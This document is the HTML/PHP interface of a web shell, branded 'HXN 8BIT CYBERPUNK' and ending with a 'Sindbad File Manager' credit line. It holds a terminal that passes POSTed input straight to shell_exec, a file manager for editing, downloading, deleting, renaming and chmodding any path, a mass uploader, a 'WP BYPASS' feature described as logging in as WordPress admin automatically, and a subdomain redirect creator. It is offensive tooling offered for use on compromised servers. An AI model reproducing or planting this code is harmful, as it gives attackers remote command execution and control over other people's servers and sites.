<canvas id="particles"></canvas>
<div class="container">
<!-- ===== HERO — NEON BORDER GLOW ===== -->
<div class="hero">
<img src="<?php echo $logo_url; ?>" class="hero-logo">
<div class="hero-ascii">██╗░░██╗██╗░░██╗███╗░░██╗
██║░░██║╚██╗██╔╝████╗░██║
███████║░╚███╔╝░██╔██╗██║
██╔══██║░██╔██╗░██║╚████║
██║░░██║██╔╝╚██╗██║░╚███║
╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝</div>
<div class="hero-sub">8BIT CYBERPUNK // v840.2</div>
<div class="hero-info">
<span class="lbl">K</span><?php echo explode(' ', $kernel)[0]; ?><span class="sep">|</span>
<span class="lbl">S</span><?php echo preg_replace('/\/.*/', '', $server_soft); ?><span class="sep">|</span>
<span class="lbl">I</span><?php echo $server_ip; ?><span class="sep">|</span>
<span class="hl">U</span><?php echo $client_ip; ?><span class="sep">|</span>
<span class="hl">P</span><?php echo $php_ver; ?><span class="sep">|</span>
<span class="hl">H</span><?php echo $hdd_free; ?>G/<?php echo $hdd_total; ?>G
</div>
</div>
<?php echo $msg; ?>
<!-- ===== SECTION 1: NAVIGASI ===== -->
<div class="section">
<div class="nav-row">
<a href="?id=@elv&path=<?php echo getcwd(); ?>" class="btn-neon">
<span class="ico">⌂</span> HOME
</a>
<a href="?id=@elv&path=<?php echo $path; ?>&view_mode=terminal" class="btn-neon cyan">
<span class="ico">></span> TERMINAL
</a>
<a href="?id=@elv&path=<?php echo $path; ?>&view_mode=elv_tools" class="btn-neon">
<span class="ico">⚡</span> E.L.V
</a>
<a href="?id=@elv&logout=1" class="btn-neon danger">
<span class="ico">✕</span> EXIT
</a>
</div>
</div>
<?php if($view_mode == 'terminal'): ?>
<!-- ===== SECTION: TERMINAL ===== -->
<div class="section">
<div class="term-container">
<div class="term-header">
<span>◆ HXN@<?php echo $server_ip; ?></span>
<span>ON</span>
</div>
<div class="term-body">
<?php if(isset($_POST['cmd'])): ?>
<div style="color:#ff00ff;">$ <?php echo htmlspecialchars($_POST['cmd']); ?></div>
<pre style="color:#00ffff;margin-top:10px;border-left:4px solid rgba(255,0,255,0.06);padding-left:20px;font-size:15px;line-height:2;"><?php @chdir($path); echo htmlspecialchars(shell_exec($_POST['cmd'].' 2>&1')); ?></pre>
<?php else: ?>
<div style="color:#00ffff;text-align:center;padding-top:60px;">
<div style="font-size:26px;margin-bottom:12px;">◆</div>
SYSTEM READY
</div>
<?php endif; ?>
</div>
<form method="POST" class="term-input-wrap">
<span class="term-prompt">#</span>
<input type="text" name="cmd" class="term-input" autofocus autocomplete="off">
</form>
</div>
</div>
<?php elseif($view_mode == 'elv_tools'): ?>
<!-- ===== SECTION: E.L.V TOOLS ===== -->
<div class="section">
<h2 style="color:#ff00ff;text-align:center;text-shadow:0 0 12px rgba(255,0,255,0.08);margin-bottom:18px;letter-spacing:6px;font-size:20px;">⚡ E.L.V TOOLS</h2>
<div class="grid-3">
<div class="tool-card">
<h3>MASS UPLOADER</h3>
<form enctype="multipart/form-data" method="POST">
<p style="color:#ff00ff;font-size:12px;margin-bottom:6px;">ROOT PATH</p>
<input type="text" name="mass_root" value="<?php echo $path; ?>/" style="margin-bottom:10px;font-size:13px;background:rgba(10,0,24,0.25);border:3px solid rgba(255,0,255,0.06);color:#ff00ff;padding:10px 14px;width:100%;font-family:'Press Start 2P',monospace;">
<input type="file" name="m_file" style="margin:10px 0;display:block;font-size:13px;">
<button type="submit" name="mass_up" class="btn-neon" style="width:100%;margin-top:10px;padding:12px;font-size:14px;">DEPLOY</button>
</form>
<div style="margin-top:10px;font-size:12px;"><?php echo $mass_log; ?></div>
</div>
<div class="tool-card">
<h3>WP COMMAND</h3>
<a href="?id=@elv&path=<?php echo $path; ?>&view_mode=elv_tools&action=wp_bypass" class="btn-neon cyan" style="width:100%;text-align:center;margin-bottom:10px;padding:12px;font-size:14px;">WP BYPASS</a>
<div class="info">Auto login admin WordPress jika wp-load.php ditemukan dalam 5 level ke atas.</div>
</div>
<div class="tool-card">
<h3>SUBDO OPS</h3>
<form method="POST">
<p style="color:#ff00ff;font-size:12px;margin-bottom:6px;">SUB NAME</p>
<input type="text" name="sub_name" placeholder="sub.domain.com" style="margin-bottom:10px;font-size:13px;background:rgba(10,0,24,0.25);border:3px solid rgba(255,0,255,0.06);color:#ff00ff;padding:10px 14px;width:100%;font-family:'Press Start 2P',monospace;">
<button type="submit" name="create_subdo" class="btn-neon" style="width:100%;padding:12px;font-size:14px;">CREATE</button>
</form>
<div class="info">Membuat folder + index.php auto redirect.</div>
</div>
</div>
</div>
<?php elseif($view_mode == 'edit'): $t = $_GET['target']; $ext = pathinfo($t, PATHINFO_EXTENSION); ?>
<!-- ===== SECTION: EDITOR ===== -->
<div class="section">
<div class="editor-wrap">
<div class="editor-header">
<span class="fn">✦ EDIT: <?php echo basename($t); ?></span>
<span class="lang"><?php echo strtoupper($ext ?: '?'); ?></span>
</div>
<div class="syntax-editor-container">
<form method="POST" id="editForm">
<input type="hidden" name="edit_target" value="<?php echo $t; ?>">
<div style="position:relative;min-height:450px;">
<pre id="highlightOutput"><code class="<?php echo $ext ? 'language-'.htmlspecialchars($ext) : ''; ?>" id="highlightCode"><?php echo htmlspecialchars(file_get_contents($t)); ?></code></pre>
<textarea name="new_content" id="codeEditor" spellcheck="false" oninput="updateHighlight()" onscroll="syncScroll()"><?php echo htmlspecialchars(file_get_contents($t)); ?></textarea>
</div>
<div class="editor-actions">
<a href="?id=@elv&path=<?php echo $path; ?>" class="btn-cancel">CANCEL</a>
<button type="submit" class="btn-save">SAVE</button>
</div>
</form>
</div>
</div>
</div>
<script>
function updateHighlight(){
const code = document.getElementById('codeEditor');
const out = document.getElementById('highlightCode');
const pre = document.getElementById('highlightOutput');
out.textContent = code.value;
hljs.highlightElement(out);
pre.scrollTop = code.scrollTop;
pre.scrollLeft = code.scrollLeft;
}
function syncScroll(){
const code = document.getElementById('codeEditor');
const pre = document.getElementById('highlightOutput');
pre.scrollTop = code.scrollTop;
pre.scrollLeft = code.scrollLeft;
}
document.addEventListener('DOMContentLoaded', function(){
hljs.highlightElement(document.getElementById('highlightCode'));
});
document.getElementById('codeEditor').addEventListener('keydown', function(e){
if(e.key === 'Tab'){
e.preventDefault();
const start = this.selectionStart;
const end = this.selectionEnd;
this.value = this.value.substring(0, start) + ' ' + this.value.substring(end);
this.selectionStart = this.selectionEnd = start + 4;
updateHighlight();
}
});
</script>
<?php elseif($view_mode == 'chmod'): $t = $_GET['target']; ?>
<!-- ===== SECTION: CHMOD ===== -->
<div class="section">
<h3 style="color:#ffff00;margin-bottom:14px;font-size:17px;letter-spacing:4px;">✦ CHMOD — <?php echo basename($t); ?></h3>
<form method="POST" class="inline-form">
<input type="hidden" name="chmod_target" value="<?php echo $t; ?>">
<input type="text" name="new_chmod" placeholder="755" style="width:120px;">
<button type="submit" class="btn-neon" style="padding:12px 24px;font-size:14px;">SET</button>
<a href="?id=@elv&path=<?php echo $path; ?>" class="btn-neon warning" style="padding:12px 24px;font-size:14px;">CANCEL</a>
</form>
</div>
<?php elseif($view_mode == 'rename'): $t = $_GET['target']; ?>
<!-- ===== SECTION: RENAME ===== -->
<div class="section">
<h3 style="color:#00ffff;margin-bottom:14px;font-size:17px;letter-spacing:4px;">✦ RENAME — <?php echo basename($t); ?></h3>
<form method="POST" class="inline-form">
<input type="hidden" name="old_name" value="<?php echo $t; ?>">
<input type="text" name="new_name" value="<?php echo basename($t); ?>" style="flex:1;min-width:200px;">
<button type="submit" name="rename_do" class="btn-neon" style="padding:12px 24px;font-size:14px;">RENAME</button>
<a href="?id=@elv&path=<?php echo $path; ?>" class="btn-neon warning" style="padding:12px 24px;font-size:14px;">CANCEL</a>
</form>
</div>
<?php else: ?>
<!-- ===== SECTION 3: PAGE UP — DIPINDAHKAN KE PALING ATAS ===== -->
<div class="section" style="padding:16px 18px;margin-bottom:22px;">
<a href="?id=@elv&path=<?php echo $parent_dir; ?>" class="page-up-btn">▲ PAGE UP</a>
</div>
<!-- ===== SECTION 4: PATH DIRECTORY ===== -->
<div class="section" style="padding:14px 20px;">
<div class="path-bar">
<span style="color:#ff00ff;margin-right:8px;font-size:15px;">FS:</span>
<a href="?id=@elv&path=/" class="nav-link">#</a>
<?php
$accum = '';
$dirs = explode('/', trim($path, '/'));
foreach ($dirs as $p) {
if($p=="")continue;
$accum .= '/' . $p;
echo '<span class="path-sep">▶</span><a href="?id=@elv&path='.$accum.'" class="nav-link">'.$p.'</a>';
}
?>
</div>
</div>
<!-- ===== SECTION 5: UPLOAD + CREATE (DIPISAH & DIPERBESAR) ===== -->
<div class="section">
<div class="action-grid">
<div class="upload-card">
<div class="upload-label">📤 UPLOAD FILE</div>
<form enctype="multipart/form-data" method="POST">
<input type="file" name="up_file">
<button type="submit" class="btn-neon" style="padding:14px 24px;font-size:15px;min-width:auto;width:100%;">↑ DEPLOY</button>
</form>
</div>
<div class="create-card">
<div class="ctitle">+ CREATE FILE</div>
<form method="POST">
<input type="text" name="new_file_name" placeholder="nama file">
<button type="submit" class="qbtn">CREATE</button>
</form>
</div>
<div class="create-card">
<div class="ctitle">+ CREATE DIR</div>
<form method="POST">
<input type="text" name="new_folder_name" placeholder="nama folder">
<button type="submit" class="qbtn">MKDIR</button>
</form>
</div>
</div>
</div>
<!-- ===== SECTION 6: FILE TABLE ===== -->
<div class="section">
<div class="table-wrap">
<table>
<thead><tr><th>NAME</th><th>SIZE</th><th>PERMS</th><th>ACTIONS</th></tr></thead>
<tbody>
<?php
$items = scandir($path);
foreach($items as $f){
if($f=="."||$f=="..") continue; $full=$path.'/'.$f; if (!file_exists($full)) continue;
$is_d=is_dir($full); $prm=perms($full);
$fsize = $is_d ? "DIR" : round(filesize($full)/1024,2)." KB";
$is_w = is_writable($full);
$perms_class = $is_w ? 'perms-green' : 'perms-red';
$file_color_class = $is_w ? 'green' : 'red';
if ($is_d) $file_color_class = 'cyan';
if ($is_d) {
$link = "?id=@elv&path=$full";
$icon = "▣";
} else {
$link = "?id=@elv&path=$path&view_mode=edit&target=$full";
$icon = "◈";
}
echo "<tr>
<td><a href='$link' class='file-link $file_color_class'>$icon $f</a></td>
<td class='size-col'>$fsize</td>
<td><span class='$perms_class'>$prm</span></td>
<td>
<div class='act-group'>";
if(!$is_d){
echo "<a href='?id=@elv&path=$path&view_mode=edit&target=$full' class='act-btn edit'>ED</a>";
echo "<a href='?id=@elv&download=$full' class='act-btn get'>DL</a>";
}
echo "<a href='?id=@elv&path=$path&view_mode=rename&target=$full' class='act-btn ren'>RN</a>";
echo "<a href='?id=@elv&path=$path&view_mode=chmod&target=$full' class='act-btn mod'>MD</a>";
echo "<a href='?id=@elv&path=$path&del=$full' class='act-btn del' onclick='return confirm(\"KILL?\")'>RM</a>
</div>
</td></tr>";
}
?>
</tbody>
</table>
</div>
</div>
<?php endif; ?>
<div class="footer-static">HXN // 8BIT CYBERPUNK v840.2 // ROOT ACCESS</div>
</div>
<script>
const c=document.getElementById('particles'),ctx=c.getContext('2d');
c.height=innerHeight;c.width=innerWidth;
const p=[];
for(let i=0;i<55;i++){
p.push({
x:Math.random()*c.width,y:Math.random()*c.height,
vx:(Math.random()-0.5)*0.5,vy:(Math.random()-0.5)*0.5,
s:Math.random()*2+1
});
}
function draw(){
ctx.fillStyle='rgba(10,0,24,0.06)';ctx.fillRect(0,0,c.width,c.height);
p.forEach(pp=>{
ctx.fillStyle=Math.random()>0.5?'#ff00ff':'#00ffff';
ctx.fillRect(Math.floor(pp.x/4)*4,Math.floor(pp.y/4)*4,Math.max(pp.s*2,2),Math.max(pp.s*2,2));
pp.x+=pp.vx;pp.y+=pp.vy;
if(pp.x<0||pp.x>c.width)pp.vx*=-1;
if(pp.y<0||pp.y>c.height)pp.vy*=-1;
});
requestAnimationFrame(draw);
}
draw();
window.addEventListener('resize',()=>{c.height=innerHeight;c.width=innerWidth;});
</script>
</body>
</html>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists